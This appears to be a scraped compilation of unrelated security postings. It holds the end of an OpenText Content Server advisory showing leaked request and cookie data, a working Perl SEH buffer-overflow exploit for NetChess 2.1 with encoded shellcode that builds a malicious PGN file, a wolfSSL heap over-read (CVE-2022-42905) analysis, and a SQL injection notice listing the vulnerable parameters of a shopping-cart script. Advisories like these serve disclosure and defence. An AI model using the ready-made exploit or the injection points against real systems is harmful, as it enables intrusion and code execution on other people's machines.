LLCookie=gYjACLksaCQXFyPM6bXgZFWxLST0MIVxqrqP9KwByUPbF8bVCKwyShPhoC0iRNqSytsqY1YfoW6i7DE39j7RpfjB4XnTw36lAps80xrs9nDkSqy1rDYqUsdbsHHJFSWCV5IzVVrS%2FuvrWBvv4e0HcYVpbbeXAI4%2BTWhmSWqDIvD68rCVqrrvRQ%3D%3D; tl=public_timeline; Accordion=','HTTP_HOST'='opentext-dev','HTTP_UPGRADE_INSECURE_REQUESTS'='1','HTTP_USER_AGENT'='Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0','HTTPS'='off','HTTPS_KEYSIZE'='','HTTPS_SECRETKEYSIZE'='','HTTPS_SERVER_ISSUER'='','HTTPS_SERVER_SUBJECT'='','LLENVIRON_ASSOC'=A<1,?,'AUTH_TYPE'='','CONTENT_LENGTH'='0','CONTENT_TYPE'='','GATEWAY_INTERFACE'='CGI/1.1','HTTP_ACCEPT'='text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','HTTP_ACCEPT_ENCODING'='gzip, deflate','HTTP_ACCEPT_LANGUAGE'='en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3','HTTP_CONNECTION'='close','HTTP_COOKIE'='LLTZCookie=0; BrowseSettings=uUS1%2FZ5g1c0XS4%2FNRpsSf2m14UItUrVHPWaVbvGjfcio6cpCyC5KPA%3D%3D; AdminPwd=6GxYwSEETjgXlHwOyzNue7sSkSKHieE2XNh7qe6h1MxuNNd3GlbD7NqlcaouTXLJvE84KXliXoS3rv0OEAoPMjLs%2B5navCaRtW32FuEYDhEtcTAetQzTUyEMJk8gtywZrslSilkjG%2FZjMh0S5nNi2MmkzquGi2BsKuKaN3dMGjscqQErAY9aIxAx1r%2FE7Gdsx1Vdo5SdILV2VdgVtjuMP3ul7RBYvHL1OsV4MtPjhB7s%2Flv6TXzrTUMzv3J%2BiVRxmXhxb%2BzFIAu7zE4DckTnGYE3tTP%2Fg1qL0GKrxVuBJbQIaZPyotwqSA%3D%3D; TargetBrowseObjID=0; TargetBrowseObjType=150; LLCookie=gYjACLksaCQXFyPM6bXgZFWxLST0MIVxqrqP9KwByUPbF8bVCKwyShPhoC0iRNqSytsqY1YfoW6i7DE39j7RpfjB4XnTw36lAps80xrs9nDkSqy1rDYqUsdbsHHJFSWCV5IzVVrS%2FuvrWBvv4e0HcYVpbbeXAI4%2BTWhmSWqDIvD68rCVqrrvRQ%3D%3D; tl=public_timeline; Accordion=','HTTP_HOST'='opentext-dev','HTTP_UPGRADE_INSECURE_REQUESTS'='1','HTTP_USER_AGENT'='Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0','HTTPS'='off','HTTPS_KEYSIZE'='','HTTPS_SECRETKEYSIZE'='','HTTPS_SERVER_ISSUER'='','HTTPS_SERVER_SUBJECT'='','PATH_INFO'='','PATH_TRANSLATED'='C:\\inetpub\\wwwroot','QUERY_STRING'='func=commdirectory.LookFeel&objid=49259&menutype=375&htmlFile=temp/xml/XslOutput_2_3','REMOTE_ADDR'='$IP','REMOTE_HOST'='$IP','REMOTE_USER'='','REQUEST_METHOD'='GET','SCRIPT_NAME'='/OTCS/cs.exe','SERVER_NAME'='opentext-dev','SERVER_PORT'='80','SERVER_PROTOCOL'='HTTP/1.1','SERVER_SOFTWARE'='Microsoft-IIS/10.0'>,'LLPARAMS_LIST'=\{\{'func','commdirectory.LookFeel'},{'objid','49259'},{'menutype','375'},{'htmlFile','temp/xml/XslOutput_2_3'}},'LLSYSPARAMS_ASSOC'=A<1,?,'_uploadFilenames'={},'_uploadPath'='C:\\Windows\\TEMP\\'>,'menutype'=375,'objid'=49259,'PATH_INFO'='','PATH_TRANSLATED'='C:\\inetpub\\wwwroot','QUERY_STRING'='func=commdirectory.LookFeel&objid=49259&menutype=375&htmlFile=temp/xml/XslOutput_2_3','REMOTE_ADDR'='$IP','REMOTE_HOST'='$IP','REMOTE_USER'='','REQUEST_ID'='8f325fa0-7d39-42a7-bf8f-486cbcbf1042','REQUEST_METHOD'='GET','REQUEST_PROCESSING_DURATION'='0','SCRIPT_NAME'='/OTCS/cs.exe','SERVER_NAME'='opentext-dev','SERVER_PORT'='80','SERVER_PROTOCOL'='HTTP/1.1','SERVER_SOFTWARE'='Microsoft-IIS/10.0','cdid'=0,'prgCtx'=#323b0f9,'TZOffset'=0> </HTML> ------------------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- The following version has been tested: * 22.1 (16.2.19.1803) The following versions are vulnerable according to the vendor: * CVE-2022-45924: 20.4 - 22.3 * CVE-2022-45922: 21.1 - 22.1 * CVE-2022-45925: 16.2.2 - 22.3 * CVE-2022-45926: 20.4 - 22.3 * CVE-2022-45928: 16.2.2 - 22.3 Vendor contact timeline: ------------------------ 2022-10-07: Vendor contacted via security@opentext.com 2022-10-07: Vendor acknowledged the email and is reviewing the reports 2022-11-18: Vendor confirms all vulnerabilities and is working on a patch aimed to be released in November 2022-11-24: Vendor delays the patch "few days/weeks into December" 2022-11-25: Requesting CVE numbers (Mitre) 2022-12-15: Vendor delays the patch and provides a release date: January 16th 2023 2023-01-17: Public release of security advisory Solution: --------- Upgrade to at least version 22.4 or apply hotfixes which can be downloaded at the vendor's page: https://support.opentext.com/csm?id=kb_article_view&sysparm_article=KB0781429 Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Armin Stock / @2023 </code></pre>

<pre><code># Exploit Title: NetChess2.1 Buffer Overflow (SEH) # Date: 8/1/2022 # Exploit Author: Ugur Eminli # Vendor Homepage: https://sourceforge.net/projects/avmnetchess/ # Software Link: https://sourceforge.net/projects/avmnetchess/ # Version: 2.1 # Tested on: WinXP SP2 Build 2600 #!/usr/bin/perl my $file= "exploit.pgn"; my $junk= "\x41" x 336; #JMP short 6bytes my $seh="\xeb\x06\xcc\xcc"; #0x74d31567 : pop edi # pop esi # ret | {PAGE_EXECUTE_READ} [oledlg.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.0 (C:\WINDOWS\system32\oledlg.dll) my $nseh= "\x67\x15\xd3\x74"; my $nop= "\x90" x 10; #bad chars: \x00\x0a\x1a\x2f\x3b\x3c\x3f\x25\x28\x21\x22\x23\x24\x5e\x7b\x2e\x5b\x5d # msfvenom -p windows/exec cmd=calc -e x86/alpha_upper -a x86 --platform windows -f pl -b "\x00\x0a\x1a\x2f\x3b\x3c\x3f\x25\x28\x21\x22\x23\x24\x5e\x7b\x2e\x5b\x5d" EXITFUNC=seh my $buf = "\x89\xe7\xd9\xcc\xd9\x77\xf4\x5f\x57\x59\x49\x49\x49\x49" . "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" . "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" . "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" . "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d" . "\x38\x4c\x42\x53\x30\x43\x30\x45\x50\x33\x50\x4c\x49\x4d" . "\x35\x36\x51\x4f\x30\x35\x34\x4c\x4b\x56\x30\x30\x30\x4c" . "\x4b\x56\x32\x44\x4c\x4c\x4b\x51\x42\x45\x44\x4c\x4b\x34" . "\x32\x47\x58\x54\x4f\x4e\x57\x31\x5a\x57\x56\x36\x51\x4b" . "\x4f\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x44\x42\x56\x4c\x57" . "\x50\x49\x51\x38\x4f\x44\x4d\x55\x51\x39\x57\x5a\x42\x5a" . "\x52\x30\x52\x46\x37\x4c\x4b\x51\x42\x52\x30\x4c\x4b\x30" . "\x4a\x57\x4c\x4c\x4b\x50\x4c\x34\x51\x53\x48\x4b\x53\x30" . "\x48\x53\x31\x38\x51\x50\x51\x4c\x4b\x46\x39\x37\x50\x43" . "\x31\x48\x53\x4c\x4b\x50\x49\x44\x58\x5a\x43\x47\x4a\x31" . "\x59\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x46\x51\x4b" . "\x4f\x4e\x4c\x49\x51\x38\x4f\x44\x4d\x55\x51\x39\x57\x30" . "\x38\x4b\x50\x44\x35\x4c\x36\x55\x53\x53\x4d\x4a\x58\x47" . "\x4b\x53\x4d\x57\x54\x43\x45\x4a\x44\x50\x58\x4c\x4b\x46" . "\x38\x31\x34\x45\x51\x59\x43\x43\x56\x4c\x4b\x44\x4c\x50" . "\x4b\x4c\x4b\x46\x38\x45\x4c\x33\x31\x39\x43\x4c\x4b\x45" . "\x54\x4c\x4b\x45\x51\x58\x50\x4d\x59\x37\x34\x31\x34\x51" . "\x34\x51\x4b\x31\x4b\x45\x31\x31\x49\x30\x5a\x50\x51\x4b" . "\x4f\x4b\x50\x51\x4f\x51\x4f\x51\x4a\x4c\x4b\x34\x52\x4a" . "\x4b\x4c\x4d\x31\x4d\x53\x5a\x45\x51\x4c\x4d\x4c\x45\x4e" . "\x52\x55\x50\x45\x50\x33\x30\x56\x30\x45\x38\x36\x51\x4c" . "\x4b\x32\x4f\x4d\x57\x4b\x4f\x58\x55\x4f\x4b\x4b\x4e\x44" . "\x4e\x37\x42\x4b\x5a\x42\x48\x59\x36\x4a\x35\x4f\x4d\x4d" . "\x4d\x4b\x4f\x49\x45\x47\x4c\x53\x36\x33\x4c\x44\x4a\x4d" . "\x50\x4b\x4b\x4b\x50\x32\x55\x43\x35\x4f\x4b\x47\x37\x54" . "\x53\x54\x32\x52\x4f\x32\x4a\x33\x30\x51\x43\x4b\x4f\x58" . "\x55\x33\x53\x43\x51\x42\x4c\x55\x33\x45\x50\x41\x41"; open($FILE,">$file"); print $FILE "$junk$seh$nseh$nop$buf$nop"; close($FILE); print "\r\n[+] Exploit File Created: $file \n"; </code></pre>

<pre><code># wolfSSL before 5.5.2: Heap-buffer over-read with WOLFSSL_CALLBACKS ==================================================================== ## INFO ======= The CVE project has assigned the id CVE-2022-42905 to this issue. Severity: 9.1 CRITICAL Affected version: before 5.5.2 End of embargo: Ended October 28, 2022 Blog Post: https://blog.trailofbits.com/2023/01/12/wolfssl-vulnerabilities-tlspuffin-fuzzing-ssh/ ## SUMMARY ========== If wolfSSL callback functions are enabled (i.e., the flag `WOLFSSL_CALLBACKS` is enabled), then a malicious client or network attacker can send a Client Hello message to a server that when parsed by the server will trigger a buffer over-read on the heap of at least 5 bytes. Similarly, a malicious server or a network attacker can send a Hello Retry Request message to a client that when parsed by the client will trigger a buffer over-read on the heap of at least 15 bytes. The `AddPacketInfo` is given a buffer that should be the input buffer and that actually is shifted by 5 bytes on the left, i.e., instead of reading `input[0]..input[length]`, the function will read `input[-5]..input[length]` and store it in a buffer that is exposed through the wolfSSL API. Note that `input` is stored on the heap and `input[-5]` to `input[-1]` might store sensitive data that should not be given to `AddPacketInfo`, for example when callback functions are used as logging facility (through the API functions `wolfSSL_accept_ex` and `wolfSSL_connect_ex`). This buffer over-read can be triggered at a server with a single Client Hello message. We have confirmed this with a proof-of-concept test case given below on wolfSSL 5.5.0, on the version from the master branch, and on version 5.4.0. A similar buffer over-read can be triggered at a client with the same wolfSSL versions. ## DETAILS ========== (Note: All code snippets and line numbers are with respect to the git hash `#43715d1bb5b8c5b8b18cba4be3171fd1dd7eb046` on remote `git@github.com:wolfssl/wolfssl.git`.) When executing the first proof of concept test case given below, we reach a call to `DoTls13HandShakeMsgType` from `tls13.c:DoTls13HandShakeMsg:10443` when the server parses the Client Hello message, with the following values: ```c size = 16520; totalSz = 16524; *inOutIdx = 4; type = 1; input; // buffer containing the input to be processed, before input, there seems to be another input stored ``` `*inOutIdx=4` because of the call to `GetHandshakeHeader` at line `tls13.c:10411`. We enter the function `tls13.c:DoTls13HandShakeMsgType` and because `WOLFSSL_CALLBACKS` flag is defined, we enter this snippet: ```c #if defined(WOLFSSL_CALLBACKS) /* add name later, add on record and handshake header part back on */ if (ssl->toInfoOn) { int add = RECORD_HEADER_SZ + HANDSHAKE_HEADER_SZ; AddPacketInfo(ssl, 0, handshake, input + *inOutIdx - add, size + add, READ_PROTO, ssl->heap); AddLateRecordHeader(&ssl->curRL, &ssl->timeoutInfo); } #endif ``` `tls13.c:DoTls13HandShakeMsgType:10094` We have that `RECORD_HEADER_SZ = 5` and `HANDSHAKE_HEADER_SZ = 4` so `add = 9` while `*inOutIdx` is still set to `4`. Therefore, the pointer indicating the beginning of the alleged input that is given to the `AddPacketInfo` function (argument `data`) is `data = input + *inOutIdx - add = input - 5`. This buffer starts 5 bytes before the actual input buffer. The argument `sz = size + add` is the total length of the input, which is too long here `16529` instead of `16524` bytes. It seems the snippet above makes a wrong assumption about the past increases of `*inOutIdx`, which has not been increased by `RECORD_HEADER_SZ` as no record header has been parsed yet. Next, in `internal.c:AddPacketInfo:25153`, see the snippet: ```c /* add data, put in buffer if bigger than static buffer */ info->packets[info->numberPackets].valueSz = sz; if (sz < MAX_VALUE_SZ) XMEMCPY(info->packets[info->numberPackets].value, data, sz); else { info->packets[info->numberPackets].bufferValue = (byte*)XMALLOC(sz, heap, DYNAMIC_TYPE_INFO); if (!info->packets[info->numberPackets].bufferValue) /* let next alloc catch, just don't fill, not fatal here */ info->packets[info->numberPackets].valueSz = 0; else XMEMCPY(info->packets[info->numberPackets].bufferValue, data, sz); } ``` `internal.c:AddPacketInfo:25169` and recall that `sz = 16529`, `data = input - 5`. The last line will write `input[-5]..input[16524]` into `info->packets[0]`. Recall that `info->packets[0]` equals `ssl->timeoutInfo->packets[0]`. It turns out `ssl->timeoutInfo` and in particular the content of `ssl->timeoutInfo->packets[0]` is exposed to the wolfSSL user through the functions `wolfSSL_connect_ex` and `wolfSSL_accept_ex` whose declarations are as follows (where `typedef int (*TimeoutCallBack)(TimeoutInfo*);` from `ssl.h`); see also the [wolfSSL documentation](https://www.wolfssl.com/documentation/manuals/wolfssl/chapter06.html). Therefore, in addition to the over-read per se, this might be exploited to exfiltrate sensitive data, depending on the use case. ## POTENTIAL EXPLOITATION ========================= We found no systematic exploit using this bug but it could be exploited in some specific use cases. We note that this problem only occurs when `WOLFSSL_CALLBACKS` is enabled, but we found no documentation forbidding the use of this flag in production. For instance, a wolfSSL server could be configured to use the API function `wolfSSL_connect_ex` with an argument `srvTimeoutCB`. This argument could be a function that logs on disk the content of `timeoutInfo->packets` when the incoming message has a packet name (packetName) "ClientHello". The rationale being that logging Client Hello messages should not expose sensitive and secret information on disk (assuming logs are not well-protected). Because of this bug, the log will contain extra data from the heap that do not correspond to the received Client Hello message and that could be sensitive data. Here is a threat model for which this could be a problem: - attacker has partial access to the architecture, for example log files (log files could be stored at rest and because considered less sensitive, they are less secured), - wolfSSL server is set up to use callback functions to log some allegedly non-sensitive information, for example it logs the received packets (let us say client hello for now) that were rejected by the server for future inspection. But it does not log full handshake. Then the attacker can trigger at will the bug to write in the log some bytes of the heap, it could theoretically fine-tune the timing to exfiltrate data of interest. ## POTENTIAL REMEDIATION ======================== First, the use of `WOLFSSL_CALLBACKS` could be vehemently discouraged in production. Second, the flawed logic of `tls13.c:DoTls13HandShakeMsgType` exposed above should be fixed. The addition of `RECORD_HEADER_SZ` to `add` should be conditionded by whether a record layer header was processed or not. In `internal.c:AddPacketInfo` and for a similar input message without a record header, the lines below call `ssl->protoMsgCb` on a (right) shifted input buffer: ```c ssl->protoMsgCb(written, version, type, (const void *)(data + RECORD_HEADER_SZ), (size_t)(sz - RECORD_HEADER_SZ), ssl, ssl->protoMsgCtx); ``` This does not trigger a buffer overflow but yields inconsistent log messages. </code></pre>

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Vulnerability ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : inoutscripts.com │ │ Vendor : Inout Scripts - Nesote Technologies Private Limited │ │ Software : Inout Multi-Vendor Shopping Cart 3.2.3 │ │ Vuln Type: SQL Injection │ │ Impact : Database Access │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ │ │ SQL injection attacks can allow unauthorized access to sensitive data, modification of │ │ data and crash the application or make it unavailable, leading to lost revenue and │ │ damage to a company's reputation. │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL CryptoJob (Twitter) twitter.com/CryptozJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2023 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Path: /index.php POST parameter 'val' is vulnerable to SQLI val=All[INJECT-HERE]&category=9%20&startpage=0&real_price_min=250&real_price_max=34222&vendorid=0&size=&color= POST parameter 'category' is vulnerable to SQLI val=All&category=9%20[INJECT-HERE]&startpage=0&real_price_min=250&real_price_max=34222&vendorid=0&size=&color= POST parameter 'startpage' is vulnerable to SQLI val=All&category=9 &startpage=0[INJECT-HERE]&real_price_min=250&real_price_max=34222&vendorid=0&size=&color= POST parameter 'real_price_min' is vulnerable to SQLI val=All&category=9 &startpage=0&real_price_min=250[INJECT-HERE]&real_price_max=34222&vendorid=0&size=&color= POST parameter 'real_price_max' is vulnerable to SQLI val=All&category=9 &startpage=0&real_price_min=250&real_price_max=34222[INJECT-HERE]vendorid=0&size=&color= POST parameter 'vendorid' is vulnerable to SQLI val=All&category=9 &startpage=0&real_price_min=250&real_price_max=34222&vendorid=0[INJECT-HERE]&size=&color= [-] Done </code></pre>